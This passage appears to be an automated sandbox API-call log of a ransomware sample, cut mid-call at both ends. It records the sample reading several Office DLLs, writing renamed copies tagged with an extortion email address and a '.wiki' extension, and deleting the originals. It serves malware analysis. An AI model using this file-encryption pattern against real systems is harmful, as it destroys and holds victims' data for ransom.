Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0199.512] lstrlenW (lpString=".jpg") returned 4 [0199.512] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0199.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0199.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0199.512] lstrlenW (lpString=".doc") returned 4 [0199.512] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0199.512] lstrlenW (lpString=".docx") returned 5 [0199.512] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0199.512] lstrlenW (lpString=".pdf") returned 4 [0199.512] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0199.512] lstrlenW (lpString=".xls") returned 4 [0199.512] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0199.512] lstrlenW (lpString=".xlsx") returned 5 [0199.512] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0199.512] lstrlenW (lpString=".ppt") returned 4 [0199.512] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0199.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0199.512] lstrlenW (lpString=".zip") returned 4 [0199.512] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0199.512] lstrlenW (lpString=".rar") returned 4 [0199.512] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0199.512] lstrlenW (lpString=".bz2") returned 4 [0199.512] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0199.512] lstrlenW (lpString=".7z") returned 3 [0199.512] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0199.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0199.513] lstrlenW (lpString=".dbf") returned 4 [0199.513] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0199.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0199.513] lstrlenW (lpString=".1cd") returned 4 [0199.513] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0199.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF") returned 73 [0199.513] lstrlenW (lpString=".jpg") returned 4 [0199.513] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0199.513] lstrcmpiW (lpString1=".INF", lpString2=".wiki") returned -1 [0199.513] lstrlenW (lpString="CAPSULES.INF") returned 12 [0199.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 412 os_tid = 0x354 [0182.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3c902a0 [0182.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3ca02a8 [0182.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6388d8 [0182.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x636ec0 [0182.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6388f0 [0182.614] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x4030020 [0182.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638908 [0182.615] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638908, Size=0x20) returned 0x633b20 [0182.615] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x638908 [0182.615] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x638908, Size=0x20) returned 0x633a30 [0182.615] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0182.615] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0182.615] Wow64DisableWow64FsRedirection (in: OldValue=0x364ff58 | out: OldValue=0x364ff58*=0x0) returned 1 [0182.615] lstrlenW (lpString="kernel32.dll") returned 12 [0182.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633b20 | out: hHeap=0x5c0000) returned 1 [0182.615] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0182.615] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633a30 | out: hHeap=0x5c0000) returned 1 [0182.615] Sleep (dwMilliseconds=0x64) [0182.845] Sleep (dwMilliseconds=0x64) [0183.117] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0183.117] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0183.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0183.117] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=744888) returned 1 [0183.117] CloseHandle (hObject=0x1e4) returned 1 [0183.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 0x20 [0183.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0183.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0183.129] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.129] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0183.140] GetLastError () returned 0x0 [0183.140] ReadFile (in: hFile=0x1e4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0xb5db8, lpOverlapped=0x0) returned 1 [0183.170] WriteFile (in: hFile=0x1e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xb5dc0, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xb5dc0, lpOverlapped=0x0) returned 1 [0183.456] ReadFile (in: hFile=0x1e4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x0, lpOverlapped=0x0) returned 1 [0183.456] WriteFile (in: hFile=0x1e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0183.456] SetEndOfFile (hFile=0x1e8) returned 1 [0183.456] CloseHandle (hObject=0x1e8) returned 1 [0183.457] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.457] SetEndOfFile (hFile=0x1e4) returned 1 [0183.462] CloseHandle (hObject=0x1e4) returned 1 [0183.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0183.463] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 1 [0183.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0183.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0183.463] lstrlenW (lpString=".doc") returned 4 [0183.463] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0183.463] lstrlenW (lpString=".docx") returned 5 [0183.463] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0183.463] lstrlenW (lpString=".pdf") returned 4 [0183.463] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0183.463] lstrlenW (lpString=".xls") returned 4 [0183.463] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0183.463] lstrlenW (lpString=".xlsx") returned 5 [0183.463] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0183.463] lstrlenW (lpString=".ppt") returned 4 [0183.463] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0183.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0183.463] lstrlenW (lpString=".zip") returned 4 [0183.464] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0183.464] lstrlenW (lpString=".rar") returned 4 [0183.464] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0183.464] lstrlenW (lpString=".bz2") returned 4 [0183.464] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0183.464] lstrlenW (lpString=".7z") returned 3 [0183.464] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0183.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0183.464] lstrlenW (lpString=".dbf") returned 4 [0183.464] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0183.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0183.464] lstrlenW (lpString=".1cd") returned 4 [0183.464] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0183.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0183.464] lstrlenW (lpString=".jpg") returned 4 [0183.464] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0183.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0183.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0183.464] lstrlenW (lpString=".doc") returned 4 [0183.464] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0183.464] lstrlenW (lpString=".docx") returned 5 [0183.464] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0183.464] lstrlenW (lpString=".pdf") returned 4 [0183.464] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0183.464] lstrlenW (lpString=".xls") returned 4 [0183.464] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0183.464] lstrlenW (lpString=".xlsx") returned 5 [0183.465] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0183.465] lstrlenW (lpString=".ppt") returned 4 [0183.465] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0183.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0183.465] lstrlenW (lpString=".zip") returned 4 [0183.465] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0183.465] lstrlenW (lpString=".rar") returned 4 [0183.465] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0183.465] lstrlenW (lpString=".bz2") returned 4 [0183.465] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0183.465] lstrlenW (lpString=".7z") returned 3 [0183.465] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0183.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0183.465] lstrlenW (lpString=".dbf") returned 4 [0183.465] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0183.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0183.465] lstrlenW (lpString=".1cd") returned 4 [0183.465] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0183.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0183.465] lstrlenW (lpString=".jpg") returned 4 [0183.465] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0183.465] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0183.465] lstrlenW (lpString="ACEEXCL.DLL") returned 11 [0183.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0183.466] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=899992) returned 1 [0183.466] CloseHandle (hObject=0x1e4) returned 1 [0183.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 0x20 [0183.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0183.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0183.466] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.466] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0183.467] GetLastError () returned 0x0 [0183.467] ReadFile (in: hFile=0x1e4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0xdbb98, lpOverlapped=0x0) returned 1 [0183.819] WriteFile (in: hFile=0x1e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xdbba0, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xdbba0, lpOverlapped=0x0) returned 1 [0183.835] ReadFile (in: hFile=0x1e4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x0, lpOverlapped=0x0) returned 1 [0183.835] WriteFile (in: hFile=0x1e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xea, lpOverlapped=0x0) returned 1 [0183.835] SetEndOfFile (hFile=0x1e8) returned 1 [0184.289] CloseHandle (hObject=0x1e8) returned 1 [0184.289] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0184.289] SetEndOfFile (hFile=0x1e4) returned 1 [0184.299] CloseHandle (hObject=0x1e4) returned 1 [0184.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0184.300] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexcl.dll")) returned 1 [0184.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0184.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0184.658] lstrlenW (lpString=".doc") returned 4 [0184.658] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0184.658] lstrlenW (lpString=".docx") returned 5 [0184.658] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0184.658] lstrlenW (lpString=".pdf") returned 4 [0184.659] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0184.659] lstrlenW (lpString=".xls") returned 4 [0184.659] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0184.659] lstrlenW (lpString=".xlsx") returned 5 [0184.659] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0184.659] lstrlenW (lpString=".ppt") returned 4 [0184.659] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0184.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0184.659] lstrlenW (lpString=".zip") returned 4 [0184.659] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0184.659] lstrlenW (lpString=".rar") returned 4 [0184.659] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0184.659] lstrlenW (lpString=".bz2") returned 4 [0184.659] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0184.659] lstrlenW (lpString=".7z") returned 3 [0184.659] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0184.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0184.659] lstrlenW (lpString=".dbf") returned 4 [0184.659] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0184.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0184.659] lstrlenW (lpString=".1cd") returned 4 [0184.659] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0184.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0184.659] lstrlenW (lpString=".jpg") returned 4 [0184.659] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0184.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0184.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0184.659] lstrlenW (lpString=".doc") returned 4 [0184.659] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0184.659] lstrlenW (lpString=".docx") returned 5 [0184.659] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0184.659] lstrlenW (lpString=".pdf") returned 4 [0184.660] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0184.660] lstrlenW (lpString=".xls") returned 4 [0184.660] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0184.660] lstrlenW (lpString=".xlsx") returned 5 [0184.660] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0184.660] lstrlenW (lpString=".ppt") returned 4 [0184.660] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0184.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0184.660] lstrlenW (lpString=".zip") returned 4 [0184.660] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0184.660] lstrlenW (lpString=".rar") returned 4 [0184.660] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0184.660] lstrlenW (lpString=".bz2") returned 4 [0184.660] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0184.660] lstrlenW (lpString=".7z") returned 3 [0184.660] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0184.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0184.660] lstrlenW (lpString=".dbf") returned 4 [0184.660] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0184.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0184.660] lstrlenW (lpString=".1cd") returned 4 [0184.660] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0184.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCL.DLL") returned 67 [0184.660] lstrlenW (lpString=".jpg") returned 4 [0184.660] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0184.660] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0184.660] lstrlenW (lpString="ACERCLR.DLL") returned 11 [0184.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0185.810] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=55744) returned 1 [0185.811] CloseHandle (hObject=0x1d8) returned 1 [0185.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll")) returned 0x20 [0185.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0185.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0185.814] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.814] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0185.814] GetLastError () returned 0x0 [0185.815] ReadFile (in: hFile=0x1d8, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0xd9c0, lpOverlapped=0x0) returned 1 [0185.826] WriteFile (in: hFile=0x1f8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xd9d0, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xd9d0, lpOverlapped=0x0) returned 1 [0185.827] ReadFile (in: hFile=0x1d8, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x0, lpOverlapped=0x0) returned 1 [0185.828] WriteFile (in: hFile=0x1f8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xea, lpOverlapped=0x0) returned 1 [0185.828] SetEndOfFile (hFile=0x1f8) returned 1 [0185.828] CloseHandle (hObject=0x1f8) returned 1 [0185.828] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0185.828] SetEndOfFile (hFile=0x1d8) returned 1 [0185.829] CloseHandle (hObject=0x1d8) returned 1 [0185.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0185.829] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerclr.dll")) returned 1 [0185.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0185.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACERCLR.DLL") returned 67 [0185.829] lstrlenW (lpString=".doc") returned 4 [0185.829] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0185.829] lstrlenW (lpString=".docx") returned 5 [0185.829] lstrcmpiW (lpString1=".docx", 